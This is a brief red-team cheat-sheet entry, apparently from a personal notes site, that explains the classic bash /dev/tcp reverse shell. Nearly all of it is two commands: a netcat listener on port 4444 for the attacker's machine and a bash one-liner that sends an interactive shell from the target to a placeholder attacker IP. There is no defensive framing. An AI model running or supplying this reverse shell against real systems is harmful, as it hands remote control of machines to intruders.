Bash /dev/tcp Reverse Shell

2026-08-06 bash nc Red Team

The classic bash /dev/tcp reverse shell with a netcat listener — no tooling needed on the target beyond bash itself.

bash

# on your box — catch the callback
nc -lvnp 4444

# on the target — bash's built-in /dev/tcp, no nc/socat required there
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
